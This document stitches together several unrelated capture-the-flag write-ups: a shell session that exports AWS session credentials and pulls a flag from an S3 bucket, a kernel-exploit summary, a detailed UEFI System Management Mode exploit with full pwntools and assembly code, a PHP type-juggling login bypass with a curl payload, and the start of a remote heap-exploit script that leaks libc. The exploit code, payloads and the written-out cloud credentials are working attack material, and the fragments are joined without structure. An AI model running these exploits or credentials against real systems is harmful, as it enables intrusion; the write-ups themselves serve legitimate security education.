└─$ export AWS_REGION=eu-central-1└─$ export AWS_ACCESS_KEY_ID=ASIA22D7J5LEL25ZWZ7A└─$ export AWS_SECRET_ACCESS_KEY=7VW28qVhHl/UGnkbMbUaluMda/QQSC/Qyvi0lFvC└─$ export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEDwaDGV1LWNlbnRyYWwtMSJGMEQCIB4XPPQjjduJPmR7RWX0c7RlVQNGZX5gsQLm5vp4OEggAiB7UmffUVZY2NTA6cDiny+IWxfJLQojR1QHRPbvkv7P2yqCAwil//////////8BEAAaDDc0MzI5NjMzMDQ0MCIMm9xMf9q7hnnscweqKtYCDp58EhAxc/WP16vvHaIN8P3kkHGG7IGnIxpZT9+AX/Uc7BfTGBowjVjN9rTqFJdQgjd2WGakRT6xU+UYTWAc5Nz5kcl4ELUWv4SuDe5RxCkupE8Xf8iVXMPKnfUZ3EBpWtFYPPYBVih5GXs2QHCn2T8aChtEybZPudCk3ChPrdPc3Oa8K+xfnQbRvuEiyfiKWHI7grPCGH/aX7exYOC5xEoMzZhZXHkxauQnIwd3oAcl2egMLSOUsJoK6uis1L5MaVA98vZWhuV6YRVH0PJhx9RO7OhAvFo6HxfQoSMh/SRHZaO4aZqBFscvWxDeT5wrGAbXr0eHJTIXz+DrSbh8TqguUbjhROrHyZg64IaoiXDPycJQGVLd1NFfN/YNVi8ywtpSq/rdZ9GTRHgL5ZaOrdC66CdRHLjj31fgiwU52zIiTHGwBHcr1/4IPIJzPfnfXSb89pWAMMe645cGOp8BBXGh0ohi4GX6vk6m8K+Y/ijF+uYwqklD0zxZpsvQ2VoVfRvEUf/hMpnaFCX/VzmoPvMWtAqOG5ByzMq7M3U8wan1+q/qGVonm3NQ0Cvocf52Gb2iuTUv5b4Yh+D4FIstxUra1FF8lE8MgLwdnKtUdpSdB9LaIu+At+/8f1272eKIEGIg7Hg9BbtRMTyJDJ/U7taalGILSolRyXEAP35K
└─$ aws s3 ls s3://nullcon-s3bucket-flag4 2022-08-11 23:27:20 40 flag4.txt └─$ aws s3 cp s3://nullcon-s3bucket-flag4/flag4.txt /tmpdownload: s3://nullcon-s3bucket-flag4/flag4.txt to ../../tmp/flag4.txt └─$ cat /tmp/flag4.txt ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone} ```
Flag: `ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone}` |
Exploit a Off-By-Null in kmalloc-4k to corrupt a poll_list object and obtain an arbitrary free primitive. Free a user_key_payload structure and corrupt it to get OOB Read. Leak heap object / kernel pointer. Reuse poll_list to arbitrarily free a pipe_buffer structure, hijack control flow and escape from the container to get a CoR Flag License key and guess the correct options on the CoR Flag License Website to get the actual flag. |
# SMM Cowsay 1
**Author**: [@mebeim](https://twitter.com/mebeim) - **Full exploit**: [expl_smm_cowasy_1.py][expl1]
## Background on System Management Mode
[System Management Mode][wiki-smm] is documented in [Intel SDM][intel-sdm],Volume 3C, Chapter 30. It is the operating mode with highest privilege, andsometimes referred to as "ring -2". This mode has higher privilege than anOS/kernel (ring 0) and even an hypervisor (ring -1). It can only be enteredthrough a System Management Interrupt (SMI), it has a separate address spacecompletely invisible to other operating modes, and full access to all physicalmemory, MSRs, control registers etc.
A special region of physical memory called SMRAM is the home of the SMI handlercode and also contains a save state area where the CPU state (most importantlythe values of all registers) is saved to and restored from when entering/exitingSMM.
Upon receing an SMI and entering SMM the SMI handler is executed. It initiallyruns code in a weird real-mode-on-steroids operating mode, but can switch to32-bit protected mode, enable paging (and PAE), and even switch to 64-bit longmode (and use 5-level paging). After doing what's needed, the SMI handler canexit SMM with [the `RSM` instruction][x86-rsm], which restores the CPU statefrom the save state area in SMRAM.
SMIs can be triggered by software using IO port `0xB2`, and this functionalitycan be used to implement some controlled mechanism of communication between SMMand non-SMM code.
This is more or less enough beckground on SMM to understand what's going on, andI will explain the rest along the way. In any case, you can always check themanuals I link. Now let's get into the challenges!
---
## To the challenge
The challenge description states:
> One of our engineers thought it would be a good idea to write Cowsay inside> SMM. Then someone outside read out the trade secret (a.k.a. flag) stored at> physical address 0x44440000, and since it could only be read from SMM, that> can only mean one thing: it... was a horrible idea.
The goal of the challenge seems simple enough: read the flag which is atphysical address `0x44440000` *somehow*.
The files we are given contain:
- The built challenge binaries together with a `qemu-system-x86_64` binary and a startup script that supplies the needed arguments to run the challenge locally.- Thee source code of the challenge as a series of patches to [EDK2][gh-edk2] (the de-facto standard UEFI implementation) and [QEMU][gh-qemu], along with a `Dockerfile` to apply them and build everything.- EDK2 build artifacts (i.e. binaries with useful debug symbols) of the build done for the challenge running remotely.
Running the challenge, we are greeted with the following message:
```UEFI Interactive Shell v2.2EDK IIUEFI v2.70 (EDK II, 0x00010000)Shell> binexec ____________________________________________________________________/ Welcome to binexec! \| Type some shellcode in hex and I'll run it! || || Type the word 'done' on a seperate line and press enter to execute |\ Type 'exit' on a seperate line and press enter to quit the program / -------------------------------------------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||
Address of SystemTable: 0x00000000069EE018Address where I'm gonna run your code: 0x000000000517D100```
## What are we dealing with?
### EDK2 patches
The EDK2 patch `0003-SmmCowsay-Vulnerable-Cowsay.patch` implements a UEFI SMMdriver called `SmmCowsay.efi`: this driver will run in SMM, and registers anhandler (through [the `SmiHandlerRegister` function][edk2-SmiHandlerRegister])to be executed in SMM that prints text much like the [cowsay][man-cowsay] Linuxcommand does:
```c Status = gSmst->SmiHandlerRegister ( SmmCowsayHandler, &gEfiSmmCowsayCommunicationGuid, &DispatchHandle );```
When a SMI happens, the SMI handler registered by EDK2 goes through a linkedlist of registered handlers and chooses the appropriate one to run.
The next patch `0004-Add-UEFI-Binexec.patch` implements a normal UEFI drivercalled `Binexec.efi` which will interact both with us (through consoleinput/output) and with the `SmmCowsay.efi` driver to print the greeting bannerwe see above when running challenge.
In order to communicate with the `SmmCowsay.efi` driver, `Binexec.efi` sends a"message" through[the `->Communicate()` method][edk2-SmmCommunicationCommunicate] provided by[the `EFI_SMM_COMMUNICATION_PROTOCOL` struct][edk2-EFI_SMM_COMMUNICATION_PROTOCOL]:
```c mSmmCommunication->Communicate( mSmmCommunication, // "THIS" pointer Buffer, // Pointer to message of type EFI_SMM_COMMUNICATE_HEADER NULL );```
This function [copies the message][edk2-copy-msg] in a global variable andtriggers a software SMI to handle it. The message includes the GUID of the SMMhandler we want to communicate with, which is searched for in the linked list ofregistered handlers when entering SMM.
The `Binexec.efi` driver will simply run in a loop asking us for some code inhexadecimal form, copying it into an RWX memory area, and then jumping into it(saving/restoring registers with an assembly wrapper). This means that we havethe ability to run arbitrary code inside an UEFI driver, which runs inSupervisor Mode (a.k.a. ring 0).
### QEMU patch
The QEMU patch implements a custom MMIO device that simply reads a `region4`file on the host machine and creates an MMIO memory region starting at physicaladdress `0x44440000` of size `0x1000` holding the content of this file. Thismeans that accessing physical memory at address `0x44440000` will invoke theQEMU device read/write operations (`MemoryRegionOps`), which will decide how tohandle the memory read/write.
The read operation handler (`uiuctfmmio_region4_read_with_attrs()`) performs acheck ensuring that the read has[the `.secure` flag set in the `MemTxAttrs` structure][qemu-memtxattrs] passedto the function, meaning that the read was issued from SMM. If this is not thecase, a fake flag is returned instead:
```cstatic MemTxResult uiuctfmmio_region4_read_with_attrs( void *opaque, hwaddr addr, uint64_t *val, unsigned size, MemTxAttrs attrs){ if (!attrs.secure) uiuctfmmio_do_read(addr, val, size, nice_try_msg, nice_try_len); else uiuctfmmio_do_read(addr, val, size, region4_msg, region4_len); return MEMTX_OK;}```
### EFI System Table
We are also given the address of a `SystemTable` and the address where ourshellcode will copied (and ran). The [UEFI Specification][uefi-spec], on which Iprobably spent more time than needed, contains all the information we need tounderstand what this is about.
This `SystemTable` is the [*EFI System Table*][edk2-SystemTable], which is astrucure containing all the information needed to do literally *anything* in anUEFI driver. It holds a bunch of pointers to other structures, which in termhold another bunch of pointers to API methods, configuration variables, and soon.
What we are interested in for now is the `BootServices` field of the EFI SystemTable, which holds a pointer to the *EFI Boot Services Table* (see chapter 4.4of the [UEFI Spec v2.9][uefi-spec-pdf]): another table holding a bunch of usefulfunction pointers for different UEFI APIs.
## Let's run some UEFI shellcode
*Ok, technically speaking it's not shellcode if it doesn't spawn a shell... butbear with me on the terminology here :').* We can test the functionality of the`Binexec` driver by assembling and running a simple `mov eax, 0xdeadbeef`. I amusing [pwntools][gh-pwntools] to quickly assemble the code from a shell.
```$ pwn asm -c amd64 'mov eax, 0xdeadbeef'b8efbeadde----- snip -----
b8efbeaddedoneRunning...RAX: 0x00000000DEADBEEF RBX: 0x00000000069EE018 RCX: 0x0000000000000000RDX: 0x000000000517CA1C RSI: 0x000000000517D100 RDI: 0x0000000000000005RBP: 0x000000000000000F R08: 0x0000000000000001 R09: 0x000000000517CA2CR10: 0x0000000000000000 R11: 0x000000000517BFA6 R12: 0x0000000005508998R13: 0x0000000000000000 R14: 0x0000000006F9C420 R15: 0x0000000006F9C428Done! Type more code```
The driver works as intended and we also get a nice register dump after theshellcode finishes execution... well easy! Let's try to read the flag into aregister then:
```$ pwn asm -c amd64 'mov rax, qword ptr [0x44440000]; mov rbx, qword ptr [0x44440008]'488b042500004444488b1c2508004444----- snip -----
488b042500004444488b1c2508004444doneRunning...RAX: 0x6E7B667463756975 RBX: 0x2179727420656369 RCX: 0x0000000000000000...----- snip -----
$ python3>>> (0x6E7B667463756975).to_bytes(8, "little")b'uiuctf{n'>>> (0x2179727420656369).to_bytes(8, "little")b'ice try!'```
Ok, the QEMU patch works as expected: the MMIO driver saw that we are notreading memory from System Management Mode and gave us the fake flag. Eventhough we do have access to physical memory, we still cannot read the flag byrunning code in the `Binexec.efi` driver. We need to read it from SystemManagement Mode.
## The vulnerability
Looking at the source code in the patch implementing `Binexec.efi`, we can seehow the communication with `SmmCowsay.efi` works in order to print the greetingbanner:
```cVOIDCowsay ( IN CONST CHAR16 *Message ){ EFI_SMM_COMMUNICATE_HEADER *Buffer;
Buffer = AllocateRuntimeZeroPool(sizeof(*Buffer) + sizeof(CHAR16 *)); if (!Buffer) return;
Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid; Buffer->MessageLength = sizeof(CHAR16 *); *(CONST CHAR16 **)&Buffer->Data = Message;
mSmmCommunication->Communicate( mSmmCommunication, Buffer, NULL );
FreePool(Buffer);}```
As already said above, normal UEFI drivers can communicate through this"SmmCommunication" protocol with SMM UEFI drivers that have an appropriatehandler registered, and data is passed through a pointer to a`EFI_SMM_COMMUNICATE_HEADER` structure:
```ctypedef struct { EFI_GUID HeaderGuid; UINTN MessageLength; UINT8 Data[ANYSIZE_ARRAY];} EFI_SMM_COMMUNICATE_HEADER;```
This simple structure should contain the GUID of the SMM driver we want tocommunicate with (in this case the GUID registered by `SmmCowsay`), a messagelength, and a flexible array member of `MessageLength` bytes containing theactual message.
The imporatant thing to notice here is this line:
```c *(CONST CHAR16 **)&Buffer->Data = Message;```
In this case, the message being sent is simply a pointer, which is copied intothe `->Data` array member *as is*. In other words, `Binexec.efi` sends a pointerto the string to print to `SmmCowsay.efi` through`mSmmCommunication->Communicate`. If we take a look at `SmmCowsay.efi` handlesthe pointer, we can see that it isn't treated in any special way. It is simplypassed as is to the printing function:
```cEFI_STATUSEFIAPISmmCowsayHandler ( IN EFI_HANDLE DispatchHandle, IN CONST VOID *Context OPTIONAL, IN OUT VOID *CommBuffer OPTIONAL, IN OUT UINTN *CommBufferSize OPTIONAL ){ DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Enter\n"));
if (!CommBuffer || !CommBufferSize || *CommBufferSize < sizeof(CHAR16 *)) return EFI_SUCCESS;
Cowsay(*(CONST CHAR16 **)CommBuffer); // <== pointer passed *as is* here
DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Exit\n"));
return EFI_SUCCESS;}```
This means that we can pass an arbitrary pointer to the `SmmCowsay` driver, andit will happily read memory at the given address for us, displaying it on theconsole as if it was a NUL-terminated `CHAR16` string. If we build an`EFI_SMM_COMMUNICATE_HEADER` with `->Data` containing the value `0x44440000` andpass it to the SMM driver through `mSmmCommunication->Communicate`, we can getit to print the flag for us!
But how do we get ahold of this "SmmCommunication" protocol to call its`->Communicate()` method? Taking a look at the code in `Binexec.efi`,`mSmmCommunication` is simply a pointer obtained passing the right GUID to`BootServices->LocateProtocol()`, like this:
```c Status = gBS->LocateProtocol( &gEfiSmmCommunicationProtocolGuid, NULL, (VOID **)&mSmmCommunication );```
## Exploitation
All we need to do in order to get the flag is simply replicate exactly what the`Binexec` driver is doing, passing a different pointer to `SmmCowsay` and let itprint the memory content to the console for us. In theory we could do everythingwith a single piece of assembly, but since we have the ability to send multiplepieces of code in a loop and observe the results, let's split this into simplersteps so that we can check if things are OK along the way.
### Step 1: get ahold of BootServices->LocateProtocol
The `LocateProtocol` function is provided in the `BootServices` table (`gBS`),of which we actually have a pointer in the `SystemTable`. We know the address of`SystemTable` since it is printed to the console for us, though to be pedanticthis does not really matter since it is a fixed address and there isn't any kindof address randomization going on.
We need to get `SystemTable->BootServices->LocateProtocol`. In theory alladdresses are fixed in our working environment (both locally and remote) due tono ASLR being applied by EDK2, so we *could* just get the address of anyfunction we need and do direct calls, but let's do it the right way because (1)we'll actually learn something, (2) we'll nonethless need it for the nextchallenges and most importantly (3) *I did not think about it originally and Ialready have the code to do it anyway :')*.
We can get `LocateProtocol` pretty easily with a couple of MOV instructions. Thedebug artifacts provided with the challenge files also include all the structuredefinitions we need in the debug symbols, so we can check the DWARF info in`handout/edk2_artifacts/Binexec.debug` to get the offsets of the fields. I'lluse [the `pahole` utility][man-pahole] (from the `dwarves` Debian package) forthis:
```c$ pahole -C EFI_SYSTEM_TABLE handout/edk2_artifacts/Binexec.debug
typedef struct { EFI_TABLE_HEADER Hdr; /* 0 24 */ CHAR16 * FirmwareVendor; /* 24 8 */ UINT32 FirmwareRevision; /* 32 4 */
/* XXX 4 bytes hole, try to pack */
EFI_HANDLE ConsoleInHandle; /* 40 8 */ EFI_SIMPLE_TEXT_INPUT_PROTOCOL * ConIn; /* 48 8 */ EFI_HANDLE ConsoleOutHandle; /* 56 8 */ /* --- cacheline 1 boundary (64 bytes) --- */ EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL * ConOut; /* 64 8 */ EFI_HANDLE StandardErrorHandle; /* 72 8 */ EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL * StdErr; /* 80 8 */ EFI_RUNTIME_SERVICES * RuntimeServices; /* 88 8 */ EFI_BOOT_SERVICES * BootServices; /* 96 8 */ UINTN NumberOfTableEntries; /* 104 8 */ EFI_CONFIGURATION_TABLE * ConfigurationTable; /* 112 8 */
/* size: 120, cachelines: 2, members: 13 */ /* sum members: 116, holes: 1, sum holes: 4 */ /* last cacheline: 56 bytes */} EFI_SYSTEM_TABLE;```
This tells us that `BootServices` is at offset 96 in `SystemTable` (type`EFI_SYSTEM_TABLE`). Likewise we can look at `EFI_BOOT_SERVICES` to see that`LocateProtocol` is at offset `320` in`BootServices`.
Setting things up with Python and pwtools, the code needed is as follows:
```python# Little hack needed to disable pwntools from taking over the terminal with# ncurses and breaking the output if we do conn.interactive() since the remote# program outputs \r\n for newlines.import osos.environ['PWNLIB_NOTERM'] = '1'
from pwn import *
context(arch='amd64')
os.chdir('handout/run')conn = process('./run.sh')os.chdir('../..')
conn.recvuntil(b'Address of SystemTable: ')system_table = int(conn.recvline(), 16)
log.info('SystemTable @ 0x%x', system_table)
conn.recvline()
code = asm(f''' mov rax, {system_table} mov rax, qword ptr [rax + 96] /* SystemTable->BootServices */ mov rbx, qword ptr [rax + 64] /* BootServices->AllocatePool */ mov rcx, qword ptr [rax + 320] /* BootServices->LocateProtocol */''')conn.sendline(code.hex().encode() + b'\ndone')
conn.recvuntil(b'RBX: 0x')AllocatePool = int(conn.recvn(16), 16) # useful for laterconn.recvuntil(b'RCX: 0x')LocateProtocol = int(conn.recvn(16), 16)
log.success('BootServices->AllocatePool @ 0x%x', AllocatePool)log.success('BootServices->LocateProtocol @ 0x%x', LocateProtocol)```
### Step 2: get ahold of mSmmCommunication to talk to SmmCowsay
In order to locate `mSmmCommunication` we need to pass a pointer to the protocolGUID to `LocateProtocol`, and a pointer to the a location where the resultingpointer should be stored. We already have a RWX area of memory available (theone where our shellcode is written), so let's use that. We normally wouldn't,but the patch `0005-PiSmmCpuDxeSmm-Open-up-all-the-page-table-access-res.patch`to EDK2 sets all entries of the page table to RWX so we're good.
From disassembling any of the UEFI drivers, we can see that the callingconvention is [Microsoft x64][x64-call], so arguments in RCX, RDX, R8, R9, thenstack.
```python# Taken from EDK2 source code (or opening Binexec.efi in a disassembler)gEfiSmmCommunicationProtocolGuid = 0x32c3c5ac65db949d4cbd9dc6c68ed8e2
code = asm(f''' /* LocateProtocol(gEfiSmmCommunicationProtocolGuid, NULL, &protocol) */ lea rcx, qword ptr [rip + guid] xor rdx, rdx lea r8, qword ptr [rip + protocol] mov rax, {LocateProtocol} call rax
test rax, rax jnz fail
mov rax, qword ptr [rip + protocol] /* mSmmCommunication */ mov rbx, qword ptr [rax] /* mSmmCommunication->Communicate */ ret
fail: ud2
guid: .octa {gEfiSmmCommunicationProtocolGuid}protocol:''')conn.sendline(code.hex().encode() + b'\ndone')
conn.recvuntil(b'RAX: 0x')mSmmCommunication = int(conn.recvn(16), 16)conn.recvuntil(b'RBX: 0x')Communicate = int(conn.recvn(16), 16)
log.success('mSmmCommunication @ 0x%x', mSmmCommunication)log.success('mSmmCommunication->Communicate @ 0x%x', Communicate)```
### Step 3: kindly ask SmmCowsay to print the flag for us
We can now craft a message for `SmmCowsay` containing a pointer to the flag andlet it print it for us by calling `mSmmCommunication->Communicate` with theright arguments. We can see the layout of `EFI_SMM_COMMUNICATE_HEADER` using`pahole` again, inspecting the UEFI Specification PDF, or looking at EDK2 sourcecode.
```python# Taken from 0003-SmmCowsay-Vulnerable-Cowsay.patchgEfiSmmCowsayCommunicationGuid = 0xf79265547535a8b54d102c839a75cf12
code = asm(f''' /* Communicate(mSmmCommunication, &buffer, NULL) */ mov rcx, {mSmmCommunication} lea rdx, qword ptr [rip + buffer] xor r8, r8 mov rax, {Communicate} call rax
test rax, rax jnz fail ret
fail: ud2
buffer: .octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */ .quad 8 /* Buffer->MessageLength */ .quad 0x44440000 /* Buffer->Data */''')conn.sendline(code.hex().encode() + b'\ndone')
# Check output to see if things workconn.interactive()```
Wait a second though. This code does not work!
```Running...!!!! X64 Exception Type - 06(#UD - Invalid Opcode) CPU Apic ID - 00000000 !!!!RIP - 000000000517D120, CS - 0000000000000038, RFLAGS - 0000000000000286RAX - 800000000000000F, RCX - 00000000000000B2, RDX - 00000000000000B2...```
We hit the `ud2` in the `fail:` label and got a nice register dump, because`Communicate` returned `0x800000000000000F`: which according to the UEFI Spec(Appendix D - Status Codes) means `EFI_ACCESS_DENIED`.
Indeed there is a gotcha: even though the challenge author explicitly added anEDK2 patch to mark all all memory as RWX in the SMM page table(`0005-PiSmmCpuDxeSmm-Open-up-all-the-page-table-access-res.patch`), there isstill a sanity check being performed on the SMM communication buffer,[as we can see in EDK2 source code][edk2-buffer-check], which errors out if thebuffer resides in untrusted or invalid memory regions (like the one used for ourshellcode). *Thanks to YiFei for pointing this out since I had not actuallyfigured out the real reason behind the "access denied" when working on thechallenge*.
In fact, looking at the code for `Binexec.efi` above, in the `Cowsay()` functionthe `EFI_SMM_COMMUNICATE_HEADER` is actually allocated using the libraryfunction `AllocateRuntimeZeroPool()`. We don't have a nice pointer to thisfunction, but can allocate memory using either `BootServices->AllocatePool()` or`BootServices->AllocatePages()` specifying the "type" of memory we want toallocate. The `EFI_MEMORY_TYPE` we want is[the type `EfiRuntimeServicesData`][edk2-EfiRuntimeServicesData], which will beaccessible from SMM.
```pythonEfiRuntimeServicesData = 6
code = asm(f''' /* AllocatePool(EfiRuntimeServicesData, 0x1000, &buffer) */ mov rcx, {EfiRuntimeServicesData} mov rdx, 0x1000 lea r8, qword ptr [rip + buffer] mov rax, {AllocatePool} call rax
test rax, rax jnz fail
mov rax, qword ptr [rip + buffer] ret
fail: ud2
buffer:''')conn.sendline(code.hex().encode() + b'\ndone')
conn.recvuntil(b'RAX: 0x')buffer = int(conn.recvn(16), 16)log.success('Allocated buffer @ 0x%x', buffer)
code = asm(f''' /* Copy data into allocated buffer */ lea rsi, qword ptr [rip + data] mov rdi, {buffer} mov rcx, 0x20 cld rep movsb
/* Communicate(mSmmCommunication, buffer, NULL) */ mov rcx, {mSmmCommunication} mov rdx, {buffer} xor r8, r8 mov rax, {Communicate} call rax
test rax, rax jnz fail ret
fail: ud2
data: .octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */ .quad 8 /* Buffer->MessageLength */ .quad 0x44440000 /* Buffer->Data */''')
conn.sendline(code.hex().encode())conn.sendline(b'done')```
Output:
```Running... __________________________< uut{hnrn_eoi_nufcet3201} -------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||```
Remember that we are dealing with UTF16 strings? The print routine in`SmmCowsay` seems to just skip half the characters for this reason. We cansimply print again passing `0x44440001` as pointer to get the second half of theflag:
```Running... _________________________< icfwe_igzr_sisfiin_55e8 > ------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||```
Reassembling it gives us: `uiuctf{when_ring_zero_is_insufficient_35250e18}`.
[smm1]: #smm-cowsay-1[smm2]: #smm-cowsay-2[smm3]: #smm-cowsay-3[expl1]: https://github.com/TowerofHanoi/towerofhanoi.github.io/blob/master/writeups_files/uiuctf-2022_smm-cowsay/expl_smm_cowasy_1.py[expl2]: https://github.com/TowerofHanoi/towerofhanoi.github.io/blob/master/writeups_files/uiuctf-2022_smm-cowsay/expl_smm_cowasy_2.py[expl3]: https://github.com/TowerofHanoi/towerofhanoi.github.io/blob/master/writeups_files/uiuctf-2022_smm-cowsay/expl_smm_cowasy_3.py
[tweet]: https://twitter.com/MeBeiM/status/1554849894237609985[uiuctf]: https://ctftime.org/event/1600/[uiuctf-archive]: https://2022.uiuc.tf/challenges[author]: https://github.com/zhuyifei1999[wiki-smm]: https://en.wikipedia.org/wiki/System_Management_Mode[intel-sdm]: https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html[uefi-spec]: https://uefi.org/specifications[uefi-spec-pdf]: https://uefi.org/sites/default/files/resources/UEFI_Spec_2_9_2021_03_18.pdf[man-cowsay]: https://manned.org/cowsay.1[man-pahole]: https://manned.org/pahole.1[x64-call]: https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170[x86-rsm]: https://www.felixcloutier.com/x86/rsm[x86-rdrand]: https://www.felixcloutier.com/x86/rdrand[gh-pwntools]: https://github.com/Gallopsled/pwntools[gh-ropgadget]: https://github.com/JonathanSalwan/ROPgadget[gh-edk2]: https://github.com/tianocore/edk2[gh-edk2-securityex]: https://github.com/jyao1/SecurityEx[gh-qemu]: https://github.com/qemu/qemu[qemu-memtxattrs]: https://github.com/qemu/qemu/blob/v7.0.0/include/exec/memattrs.h#L35[edk2-SystemTable]: https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/3_foundation/33_uefi_system_table[edk2-SmiHandlerRegister]: https://github.com/tianocore/edk2/blob/7c0ad2c33810ead45b7919f8f8d0e282dae52e71/MdeModulePkg/Core/PiSmmCore/Smi.c#L213[edk2-EfiRuntimeServicesData]: https://github.com/tianocore/edk2/blob/0ecdcb6142037dd1cdd08660a2349960bcf0270a/BaseTools/Source/C/Include/Common/UefiMultiPhase.h#L25[edk2-SmmCommunicationCommunicate]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c#L110[edk2-EFI_SMM_COMMUNICATION_PROTOCOL]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c#L267[edk2-copy-msg]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c#L547[edk2-smi-entry]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/UefiCpuPkg/PiSmmCpuDxeSmm/X64/SmiEntry.nasm#L89[edk2-gadget]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdePkg/Library/BaseLib/X64/LongJump.nasm#L54[edk2-MdePkg]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdePkg/MdePkg.dec[edk2-buffer-check]: https://github.com/tianocore/edk2/blob/7c0ad2c33810ead45b7919f8f8d0e282dae52e71/MdePkg/Library/SmmMemLib/SmmMemLib.c#L163[edk2-gdt]: https://github.com/tianocore/edk2/blob/2812668bfc121ee792cf3302195176ef4a2ad0bc/UefiCpuPkg/PiSmmCpuDxeSmm/X64/SmiException.nasm#L31
|
Our goal in this challenge is to bypass a logging page to get the flag. Moving the mouse over the web page, we found a link to admin.php page, the source code of this page was provided to us.
Navigating to admin.php page, we see a login page where we are prompted to provide the correct username, password and hmac for a valid logging. Looking into the source code, a flag.inc.php page is included to get the value of the variables: `$secret`, `$password` and `$flag`, obviously cause these variable were not defined anywere in the admin.php sorce code.
the first check, test if all the POST variables: username, password, hmac and nonce are not empty (nonce is a random value generated each time we refresh the page, and it is sended back once we submit our request), we can easily validate this check.```if (!empty($_POST['username']) && !empty($_POST['password']) && !empty($_POST['hmac']) && !empty($_POST['nonce'])) {```
The next check, test if the username is 'admin" and password equal to `$password` and hmac equal to `$hmac`:```if (strcmp($_POST['username'], "admin") == 0 && strcmp($_POST['password'], $password) == 0 && $_POST['hmac'] === $hmac)```
Let's decompose this into three checks and bypass each one individually (for this purpose we can setup a web site locally with the admin.php code, and modify it so that we can test each check individually):
- We can simply set username to "admin" to pass the first condition. - To validate the password, the website check if the user provided password equal to the one defined in flah.inc.php file, this is done by using strcmp function and check if the returned value equal to 0, strcmp return 0 if both string match, as per [user note](https://www.php.net/manual/en/function.strcmp.php#108563) in php Docs of this function: strcmp returns 0 in some cases where the variables being compared are of different types, for example a string and an array will return 0. So to bypass this check without knowing the `$password` value we can simply set the user password as an array. - The admin page override the `$secret` value with the sha256 hmac of `$nonce` using `$secret` as key ($secret was firstly defined in flag.inc.php page): `$secret = hash_hmac('sha256', $_POST['nonce'], $secret);`. Then it set `$hmac` var with the calculated value of sha256 hmac of "admin"(username) using the new `$secret` value as key: `$hmac = hash_hmac('sha256', $_POST['username'], $secret);`. And it check if the user hmac match the `$hmac` variable (here also the type is checked): `$_POST['hmac'] === $hmac`As per the below test, if we try to calculate the hmac of an array we got a warning and the variable taking the output of hmac is defined with an empty string: ``` php > echo $secret; PHP Notice: Undefined variable: secret in php shell code on line 1 php > $secret = hash_hmac('sha256', [], 'secret'); PHP Warning: hash_hmac() expects parameter 2 to be string, array given in php shell code on line 1 php > echo $secret; php > ``` So to bypass this check without knowing the `$secret` value we can set `$nonce` as an array, which will result in an empty string, assigned to `$secret`, at this point we can simply calculate the hmac of "admin" with an empty string as key which will be used as user hmac in our request: ``` php > echo hash_hmac('sha256', 'admin', ''); 8d5f8aeeb64e3ce20b537d04c486407eaf489646617cfcf493e76f5b794fa080 php > ```So now, let us join all the pieces together to construct out final payload:```[Pwn17@machine ~]$ curl -X POST http://challenges.uactf.com.au:30002/admin.php -d "username=admin&password[]=admin&hmac=8d5f8aeeb64e3ce20b537d04c486407eaf489646617cfcf493e76f5b794fa080&nonce[]=c0ab90748f754cdd53a4a2ad1e780500"```
With the above request, we can pass the checks and get the flag. |
detail (korean) -> https://mi-sutga-ru.tistory.com/9```#!/usr/bin/python3# MIsutgaRU
from pwn import *
#s = process("./cshell2")s = remote("be.ax", 31667)
def menu(index): s.recvuntil(b"user\n") s.sendline(index)
def add(index, size, first, middle, last, age, bio): menu(b"1") s.recvuntil(b"index: ") s.sendline(str(index).encode()) s.recvuntil(b"minimum): ") s.sendline(str(size).encode()) s.recvuntil(b"firstname: ") s.sendline(first) s.recvuntil(b"middlename: ") s.send(middle) s.recvuntil(b"lastname: ") s.send(last) s.recvuntil(b"age: ") s.sendline(str(age).encode()) s.recvuntil(b"bio: ") s.sendline(bio)
def show(index): menu(b"2") s.recvuntil(b"index: ") s.sendline(str(index).encode()) s.recvuntil(b"A"*976)
def delete(index): menu(b"3") s.recvuntil(b"index: ") s.sendline(str(index).encode())
def edit(index, first, middle, last, age, bio): menu(b"4") s.recvuntil(b"index: ") s.sendline(str(index).encode()) s.recvuntil(b"firstname: ") s.sendline(first) s.recvuntil(b"middlename: ") s.sendline(middle) s.recvuntil(b"lastname: ") s.sendline(last) s.recvuntil(b"age: ") s.sendline(str(age).encode()) s.recvuntil(b"bio: (max ") size = int(s.recvuntil(")")[:-1]) + 32 log.info(hex(size)) s.recvuntil(b"\n") s.send(bio)
def re_age(index, age): menu(b"5") s.recvuntil(b"index: ") s.sendline(str(index).encode()) s.recvuntil(b"age: ") s.sendline(str(age).encode())
names = 0x4040c0 #bss addressgot = 0x404010free_got = 0x404018puts_got = 0x404020printf_got = 0x404030malloc_got = 0x404040
#pause()add(0, 1032, b"a", b"b", b"c", 10, b"A")add(1, 2032, b"A", b"B", b"C", 20, b"B")add(2, 1032, b"aa", b"bb", b"cc", 30, b"C")delete(1)edit(0, b"aa", b"bb", b"cc", 11, b"A"*976)show(0)leak = u64(s.recv(6).ljust(8, b"\x00"))log.info(hex(leak))libc = leak - 0x1c7cc0log.info(hex(libc))
